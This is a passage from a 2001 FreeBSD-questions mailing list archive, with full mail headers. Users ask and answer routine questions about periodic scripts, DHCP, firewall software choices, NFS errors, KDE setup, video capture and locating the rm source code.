owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I would like to add some scripts to periodic daily, weekly etc. What do the prefix numbers mean (i.e. 100 in 100.clean-disks)? Do the numbers represent time, preferance etc.? Thanks _________________________________ Scott Gerhardt, P.Geo. Gerhardt Information Technologies _________________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 16:55: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id B0FC537B416 for ; Wed, 21 Nov 2001 16:54:56 -0800 (PST) Received: from d226-39-102.home.cgocable.net ([24.226.39.102] helo=x1-6-00-50-ba-de-36-33.kico1.on.home.com) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 166i8r-0000Gn-00; Wed, 21 Nov 2001 19:55:01 -0500 Received: from localhost (genisis@localhost) by x1-6-00-50-ba-de-36-33.kico1.on.home.com (8.11.6/8.11.6) with ESMTP id fAM11PM39908; Wed, 21 Nov 2001 20:01:25 -0500 (EST) (envelope-from genisis@istar.ca) X-Authentication-Warning: x1-6-00-50-ba-de-36-33.kico1.on.home.com: genisis owned process doing -bs Date: Wed, 21 Nov 2001 20:01:24 -0500 (EST) From: Dru X-X-Sender: To: Scott Gerhardt Cc: FreeBSD Subject: Re: Periodic Daily In-Reply-To: Message-ID: <20011121200010.M39746-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Scott Gerhardt wrote: > I would like to add some scripts to periodic daily, weekly etc. > What do the prefix numbers mean (i.e. 100 in 100.clean-disks)? > Do the numbers represent time, preferance etc.? Hi Scott, You can read all about it here: http://www.onlamp.com/pub/a/bsd/2001/11/08/FreeBSD_Basics.html Cheers, Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 16:57:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from indigo.quadrant.net (indigo.quadrant.net [207.195.92.9]) by hub.freebsd.org (Postfix) with ESMTP id A881037B405 for ; Wed, 21 Nov 2001 16:57:48 -0800 (PST) Received: from git2000 (56K77.quadrant.net [207.195.92.77]) by indigo.quadrant.net (8.9.1/8.9.1) with SMTP id SAA00172; Wed, 21 Nov 2001 18:57:42 -0600 (CST) From: "Scott Gerhardt" To: "Dru" Cc: "FreeBSD" Subject: RE: Periodic Daily Date: Wed, 21 Nov 2001 19:00:31 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-reply-to: <20011121200010.M39746-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks Dru, I searched Google, FreeBSD Handbook etc. and nothing of significance. - Scott > -----Original Message----- > From: Dru [mailto:genisis@istar.ca] > Sent: November 21, 2001 7:01 PM > To: Scott Gerhardt > Cc: FreeBSD > Subject: Re: Periodic Daily > > > > > On Wed, 21 Nov 2001, Scott Gerhardt wrote: > > > I would like to add some scripts to periodic daily, weekly etc. > > What do the prefix numbers mean (i.e. 100 in 100.clean-disks)? > > Do the numbers represent time, preferance etc.? > > Hi Scott, > > You can read all about it here: > > http://www.onlamp.com/pub/a/bsd/2001/11/08/FreeBSD_Basics.html > > Cheers, > > Dru > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 17: 3:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from grumpy.dyndns.org (user-24-214-92-93.knology.net [24.214.92.93]) by hub.freebsd.org (Postfix) with ESMTP id 64E1E37B405 for ; Wed, 21 Nov 2001 17:03:40 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by grumpy.dyndns.org (8.11.6/8.11.6) with ESMTP id fAM13SU68911; Wed, 21 Nov 2001 19:03:29 -0600 (CST) (envelope-from dkelly@grumpy.dyndns.org) Message-Id: <200111220103.fAM13SU68911@grumpy.dyndns.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Peter Harmsen" Cc: questions@FreeBSD.ORG Subject: Re: dhcp client In-Reply-To: Message from "Peter Harmsen" of "Sun, 18 Nov 2001 18:03:29 +0100." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 21 Nov 2001 19:03:28 -0600 From: David Kelly Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Peter Harmsen" writes: > This is a multi-part message in MIME format. > > ------=_NextPart_000_0007_01C1705B.53BB8E60 > Content-Type: text/plain; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > Hello mem/sir, > > My ISP assignes the ip-addresses dynamically. > Is it possible to get this working under freebsd? > Instead of using a static ip address? > > with kind regards, > > Peter Harmsen > > ------=_NextPart_000_0007_01C1705B.53BB8E60 > Content-Type: text/html; > charset="iso-8859-1" > Content-Transfer-Encoding: quoted-printable > > > > charset=3Diso-8859-1"> > > > > >
Hello mem/sir,
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My ISP assignes the ip-addresses=20 > dynamically.
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> > ------=_NextPart_000_0007_01C1705B.53BB8E60-- Today's first lesson is if you don't jump in with both feet and try it, at the very least learn how to read the man pages which are available online and on your local installation. As is the Handbook. Easy to search the online versions as well. Not only can FreeBSD connect to your ISP via DHCP but it can NAT and DHCP for any other computer in your house without the ISP knowing. Everything needed is included in the standard install. However I don't recommend running a DHCP server for a little internal net. Tonight's second lesson is that if you must use Outlook Express to post to the mailing lists, don't send in HTML format. I don't know why your message says it was sent on Sunday but hotmail received it today and it arrived here about 6 hours ago. Your use of HTML is likely the reason nobody (else) has answered yet. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 17:40:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from openrelay.msu.edu (openrelay.msu.edu [35.9.98.20]) by hub.freebsd.org (Postfix) with ESMTP id 4D5A937B405 for ; Wed, 21 Nov 2001 17:40:40 -0800 (PST) Received: from works ([65.194.248.251]) by openrelay.msu.edu (8.11.1/8.11.1) with ESMTP id fAM1Sup19282; Wed, 21 Nov 2001 20:28:56 -0500 (EST) (envelope-from raiden23@netzero.net) Message-Id: <4.2.0.58.20011121204528.00977100@pop.netzero.net> X-Sender: raiden23@pop.netzero.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 21 Nov 2001 20:46:35 -0500 To: FreeBSD@hm.homeip.net From: Lord Raiden Subject: Re: Novell and BSD Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG well as I've stated to several other people, I'm not planning on doing anything Novell right now, but it was a definite curiosity of mine after the mention of it came up during a conversation I had with my colleagues. So I thought I'd ask. :) At 09:39 PM 11/21/01 +0100, FreeBSD@hm.homeip.net wrote: >Hi > >well that completly depends on what you want to do, I have here a Novell >box and serveral BSD boxes side by side, and they can live quiet nice >together... no scratches no biting ;-) > >- Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 17:43:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from openrelay.msu.edu (openrelay.msu.edu [35.9.98.20]) by hub.freebsd.org (Postfix) with ESMTP id 0C87237B418 for ; Wed, 21 Nov 2001 17:43:37 -0800 (PST) Received: from works ([65.194.248.251]) by openrelay.msu.edu (8.11.1/8.11.1) with ESMTP id fAM1Vup19293; Wed, 21 Nov 2001 20:31:56 -0500 (EST) (envelope-from raiden23@netzero.net) Message-Id: <4.2.0.58.20011121204753.0097f6b0@pop.netzero.net> X-Sender: raiden23@pop.netzero.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 21 Nov 2001 20:49:35 -0500 To: shanon loveridge , freebsd-questions@FreeBSD.ORG From: Lord Raiden Subject: Re: FreeBSD as a Firewall In-Reply-To: <20011121233809.94395.qmail@web14309.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Well I've used the following tutorial on a box almost exactly like yours (same processor speed and all that rubbish.) and I've found it to be both very stable and solid. Haven't had time to hammer it yet to see if there's any holes I missed, but for now it seems solid. Have a look. It's an awesome step by step beginners tutorial. :) http://www.schlacter.dyndns.org/public/FreeBSD-STABLE_and_IPFILTER.html At 11:38 PM 11/21/01 +0000, shanon loveridge wrote: >Ok I am thinking about setting up a P120 as a firewall >for my home network and I was wondering if the >computer will be fast enough for this or if there will >be a noticable drop in performance. Also would OpenBSD >be better suited for this as it is ment to focus on >security. > >Thanks people > >__________________________________________________ >Do You Yahoo!? >Everything you'll ever need on one web page from News and Sport to Email >and Music Charts >http://uk.my.yahoo.com > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 17:54: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pogo.caustic.org (caustic.org [64.163.147.186]) by hub.freebsd.org (Postfix) with ESMTP id 5648737B405 for ; Wed, 21 Nov 2001 17:54:03 -0800 (PST) Received: from localhost (jan@localhost) by pogo.caustic.org (8.11.6/8.11.6) with ESMTP id fAM1rnW29653; Wed, 21 Nov 2001 17:53:50 -0800 (PST) (envelope-from jan@caustic.org) Date: Wed, 21 Nov 2001 17:53:49 -0800 (PST) From: "f.johan.beisser" X-X-Sender: To: Erik Trulsson Cc: shanon loveridge , Subject: Re: FreeBSD as a Firewall In-Reply-To: <20011121234606.GA14744@student.uu.se> Message-ID: <20011121164612.W16958-100000@localhost> X-Ignore: This statement isn't supposed to be read by you X-TO-THE-FBI-CIA-AND-NSA: HI! HOW YA DOIN? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, Erik Trulsson wrote: > I don't think OpenBSD would be better for this. Probably just as good > but not better. Their focus on security is primarily in making sure > that there are no security problems with the OS itself. This does not > mean that they have a better firewall. Actually, I've found that OpenBSD is easier to configure and deal with in the bridging and "invisible" firewall configuration than FreeBSD. The smaller installation footprint of OpenBSD has also proven to be handy, if a tad bit unfamiliar to people used to most Linux distributions or FreeBSDs generic install. now, honestly, as far as i386 goes, FreeBSD may well be the way to go since it supports many more components and hardware than any other BSD. another deciding factor in your choice should also be what firewall software you want to use. IPFilter is available on NetBSD, FreeBSD, and OpenBSD (up through 2.9). IPFilter is somewhat obtuse in syntax, but very powerful, so reading the FAQ and having some basic grounding in TCP/IP is necessary before you begin to hack out rules. IPFW is the native FreeBSD firewall. it's easier to handle, has easier syntax to read, but isn't quite as powerful as IPFilter. the upcoming release of OpenBSD 3.0 unveils our 3rd firewall candidate: pf. pf uses syntax similar to IPFilter, allows macro style expansion of the rules. very handy. sadly, it is still somewhat buggy, and not quite production level in code quality. what this all means to you, the user? uh.. not much. try them both out. IPFilter has slowly grown on me, to the point where i don't want to use anything else (why bother? one ruleset, all the possible versions of BSD I'd going to install and use..). if Net- and Free- BSD import pf, I'll probably switch over to it. -------/ f. johan beisser /--------------------------------------+ http://caustic.org/~jan jan@caustic.org "if my thought-dreams could be seen.. "they'd probably put my head in a guillotine" -- Bob Dylan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 18: 8:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web10401.mail.yahoo.com (web10401.mail.yahoo.com [216.136.130.93]) by hub.freebsd.org (Postfix) with SMTP id EEE9B37B405 for ; Wed, 21 Nov 2001 18:08:37 -0800 (PST) Message-ID: <20011122020837.40827.qmail@web10401.mail.yahoo.com> Received: from [64.90.179.71] by web10401.mail.yahoo.com via HTTP; Wed, 21 Nov 2001 18:08:37 PST Date: Wed, 21 Nov 2001 18:08:37 -0800 (PST) From: Dylan Carlson Reply-To: absinthe@pobox.com Subject: vm_fault errors with nfs clients To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Have a bunch of 4.4-CURRENT machines mounting to a 4.4-CURRENT nfs server... if I throw enough activity on them, I'll get this sort of entry: Nov 21 20:16:31 foo /kernel: nfs_getpages: error 4 Nov 21 20:16:31 foo /kernel: vm_fault: pager read error, pid 98825 (cp) Nov 21 20:52:23 foo /kernel: nfs server ds1:/usr/home: not responding Nov 21 20:53:30 foo /kernel: nfs server ds1:/usr/home: not responding After that, no amount of massaging the server will get it to talk NFS again. Any ideas? Cheers, __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 19:55:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f165.law11.hotmail.com [64.4.17.165]) by hub.freebsd.org (Postfix) with ESMTP id 09DE037B426 for ; Wed, 21 Nov 2001 19:55:14 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 19:55:13 -0800 Received: from 24.116.158.21 by lw11fd.law11.hotmail.msn.com with HTTP; Thu, 22 Nov 2001 03:55:13 GMT X-Originating-IP: [24.116.158.21] From: "Charles Burns" To: b.k.jackson@verizon.net Cc: questions@freebsd.org Subject: Re: Quick, unimportant X question Date: Wed, 21 Nov 2001 20:55:13 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 22 Nov 2001 03:55:13.0844 (UTC) FILETIME=[7D602F40:01C17309] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >Hi Charles - > > You should have a file called .xinitrc in your home directory >containing the full path to gnome-session: Isn't /root the home directory for root? (There's no /home/root). I can't seem to run X as non-root, which is my next little project. I think I saw some messages about that earlier on the list. I'll put the .xinitrc in home/whoever when I have that working, but shouldn't /root work for now? I dunno. I'm an X newbie. :) Thanks for the response Charles Burns _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 20:24:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web14301.mail.yahoo.com (web14301.mail.yahoo.com [216.136.173.77]) by hub.freebsd.org (Postfix) with SMTP id B037D37B41D for ; Wed, 21 Nov 2001 20:24:26 -0800 (PST) Message-ID: <20011122042426.59475.qmail@web14301.mail.yahoo.com> Received: from [203.94.135.34] by web14301.mail.yahoo.com via HTTP; Thu, 22 Nov 2001 04:24:26 GMT Date: Thu, 22 Nov 2001 04:24:26 +0000 (GMT) From: =?iso-8859-1?q?shanon=20loveridge?= Subject: Video Capture To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Is there any Video capture software available for FreeBSD? I have done a search on google but I could not really find anything. I am lookng for a high quality capture preferably to mpeg2 to later be converted to SVCD (Basicaly I want a video recorder) although mepeg1 might be acceptable. At present I have a ASUS V6800 Geforce with Video IN/OUT however if capture on this card is not supported I would look at another capture card. Thanks People Shanon __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 20:47:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from turing.cs.hmc.edu (turing.cs.hmc.edu [134.173.42.99]) by hub.freebsd.org (Postfix) with ESMTP id 5216C37B418 for ; Wed, 21 Nov 2001 20:46:59 -0800 (PST) Received: from beast (namba4.ST.HMC.Edu [134.173.63.67]) by turing.cs.hmc.edu (8.9.3+Sun/8.9.3) with SMTP id UAA06210 for ; Wed, 21 Nov 2001 20:46:53 -0800 (PST) From: "Aaron Namba" To: Subject: how to find rm system call? Date: Wed, 21 Nov 2001 20:46:53 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I want to change the way file deletion works on my system by rewriting or intercepting the system call that deletes a file. But I can't think of where I could even start to look for the code to modify. Help! --Aaron Namba To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21: 1:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 73C9C37B405 for ; Wed, 21 Nov 2001 21:01:08 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166lcb-0001z1-00; Thu, 22 Nov 2001 12:37:57 +0800 Date: Thu, 22 Nov 2001 12:37:55 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: "Heddles, FLGOFF Chris" Cc: "'freebsd-questions@FreeBSD.ORG'" Subject: Re: sec: unclassified - QT2 / KDE2 problem on 4.4 release In-Reply-To: <81E70F798E8BD511AC2F0002A5749710063814@WAGEX001> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! First, you can't type in startkde from the prompt to start KDE. You have to add "exec startkde" into your .xinitrc file. Second, X is complaining it can't find libqt2.so.4, which means there is a dependency problem. KDE depends on QT to work. make sure QT is also installed. Good luck. On Tue, 20 Nov 2001, Heddles, FLGOFF Chris wrote: > g'day all, > > I'm a complete newbie to FreeBSD and have been unable to get KDE2 working > from CD > > I have installed 4.4 release from the CD (without X because my GeForce2 > graphics card > requires XFree86-4.1) > > Installed XFree86 4.1.0 from the CD using "pkg_add" and followed the > configuration guide > from the handbook. > > Installed wrapper from ports (CD again) > > X appeared to work fine at this point (still does - just not with KDE) > > > Installed KDE2 from the CD using "pkg_add". The installation process > appeared to work (no > error messages). I then appended .xinitrc as described in the handbook to > have KDE as my > default desktop. > > X works using the "startx" command but doesn't launch KDE > > Attempting to manually launch KDE from within X gives the following error > message: > > $ startkde > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > connect() failed: : No such file or directory > $ > > > When I was first installing FreeBSD from CD, I installed it with X and KDE > through the > installation manager and it worked (just at very low resolution). > > thanks > > > chris > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21: 9:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id D475237B405 for ; Wed, 21 Nov 2001 21:09:24 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 166lKa-00009V-00; Thu, 22 Nov 2001 12:19:20 +0800 Date: Thu, 22 Nov 2001 12:18:31 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: stuart richardson Cc: questions@FreeBSD.org Subject: Re: disk space In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Stuart! The answer pretty much depends on how you plan to use FreeBSD? but since your a novice and your just trying it out, i think, a couple of hundred megs will do. better read the documentation before you start installing BSD. Good luck. On Sat, 17 Nov 2001, stuart richardson wrote: > I am a novice to Free BSD. I plan to install Free BSD from > the FreeBSD: An Open-Source Operating System for Your PC CD's. There > will be two operating systems, the other is Windows 98-2E. > Question - how much disk space will I need for this. > Thanks, > Stuart Richardson > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21:16: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nsu.ru (b.ns.ssc.nsu.ru [193.124.215.221]) by hub.freebsd.org (Postfix) with ESMTP id D928A37B405; Wed, 21 Nov 2001 21:15:45 -0800 (PST) Received: from inet.ssc.nsu.ru ([62.76.110.12]) by mail.nsu.ru with esmtp (Exim 3.20 #1) id 166mD3-0000h7-00; Thu, 22 Nov 2001 11:15:37 +0600 Received: from localhost (danfe@localhost) by inet.ssc.nsu.ru (8.9.3/8.9.3) with ESMTP id LAA14782; Thu, 22 Nov 2001 11:14:35 +0600 Date: Thu, 22 Nov 2001 11:14:34 +0600 (NOVT) From: Alexey Dokuchaev To: Ruslan Ermilov Cc: questions@FreeBSD.ORG Subject: Re: releng4.freebsd.org In-Reply-To: <20011121193657.E40787@sunbay.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! Actually, right now it is EMPTY (that is, there are no files whatsoever in i386 directory). -- WBR, Alexey. On Wed, 21 Nov 2001, Ruslan Ermilov wrote: > On Wed, Nov 21, 2001 at 10:15:03PM +0600, Alexey Dokuchaev wrote: > > Hello! > > > > There seems to be a problem with ftp://releng4.freebsd.org/, where I > > usually get installation files and stuff. Starting with snapshot > > 4.4-20011117-STABLE (and up to current 4.4-20011121-STABLE) almost all > > files have zero size. Can this be fixed? > > > Should be fixed now, according to JKH. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21:19: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from longfellow.nbrewer.com (nbrewer.dsl.visi.com [208.42.141.101]) by hub.freebsd.org (Postfix) with ESMTP id 34A6337B405 for ; Wed, 21 Nov 2001 21:19:03 -0800 (PST) Received: by longfellow.nbrewer.com (Postfix, from userid 1001) id 05A05193C; Wed, 21 Nov 2001 23:19:01 -0600 (CST) Date: Wed, 21 Nov 2001 23:19:01 -0600 From: Christopher Farley To: Aaron Namba Cc: freebsd-questions@freebsd.org Subject: Re: how to find rm system call? Message-ID: <20011121231859.A884@northernbrewer.com> Mail-Followup-To: Christopher Farley , Aaron Namba , freebsd-questions@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from aaron@namba1.com on Wed, Nov 21, 2001 at 08:46:53PM -0800 Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Aaron Namba (aaron@namba1.com) wrote: > I want to change the way file deletion works on my system by rewriting or > intercepting the system call that deletes a file. But I can't think of where > I could even start to look for the code to modify. Help! Have a look in /usr/src/bin/rm/ -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21:20: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ns2.wananchi.com (ns2.wananchi.com [212.49.74.4]) by hub.freebsd.org (Postfix) with ESMTP id D31EA37B416; Wed, 21 Nov 2001 21:19:50 -0800 (PST) Received: from wash by ns2.wananchi.com with local (Exim 3.33 #1) id 166mFe-000JJE-00; Thu, 22 Nov 2001 08:18:18 +0300 Date: Thu, 22 Nov 2001 08:18:18 +0300 From: Odhiambo Washington To: "Jeremy C. Reed" Subject: Annoying mailbot misconfig Message-ID: <20011122081818.B67706@ns2.wananchi.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23i X-Disclaimer: Any views expressed in this message,where not explicitly attributed otherwise, are mine alone!. X-Fortune: When in doubt, use brute force. -- Ken Thompson X-Operating-System: FreeBSD 4.4-STABLE i386 X-Best-Window-Manager: XFCE X-Mailer: Mutt http://www.mutt.org/ X-Designation: Systems Administrator, Wananchi Online Ltd. X-Location: Nairobi, KE, East Africa. X-Uptime: 8:09AM up 12 days, 16:01, 1 user, load averages: 0.17, 0.23, 0.47 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Jeremy C. Reed [20011122 04:19]: writing on the subject '(za8Y) BOUNCE vm-pop3d-users@lists.kmv.ru: Non-member submission from [W a s h i n g t o n ] (fwd)' | Odhiambo, | | Please fix your autoresponder! | | Do not have it autoreply to mailing lists. | | I know you are on the Exim mailing list. Recently there was some | discussion on making sure your autoresponder behaves correctly. Hello Jeremy & the others who I got annoyed, My autoresponder was sorted out. Yesterday after subscribing to vm-pop3d-users, I went to add the list name to the mailbot and kinda made a fatal error. (list1|\ list2|\ list3| vm-pop3d-users|) That ommission in the line continuation has caused so much grief to me and almost the whole world. At some point such fuck-ups come in because of so much pressure around. I highly regret it. -Wash +++ "You can do this in a number of ways. IBM chose to do all of them. Why do you find that funny?" -- D. Taylor, Computer Science 350 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 21:27:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail32.sdc1.sfba.home.com (femail32.sdc1.sfba.home.com [24.254.60.22]) by hub.freebsd.org (Postfix) with ESMTP id EECD137B416 for ; Wed, 21 Nov 2001 21:27:10 -0800 (PST) Received: from tspivey8 ([24.76.54.195]) by femail32.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011122052705.CSDQ23924.femail32.sdc1.sfba.home.com@tspivey8> for ; Wed, 21 Nov 2001 21:27:05 -0800 To: freebsd-questions@freebsd.org From: tyler spivey Reply-To: tyler spivey Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Subject: question about installing emacs Message-Id: 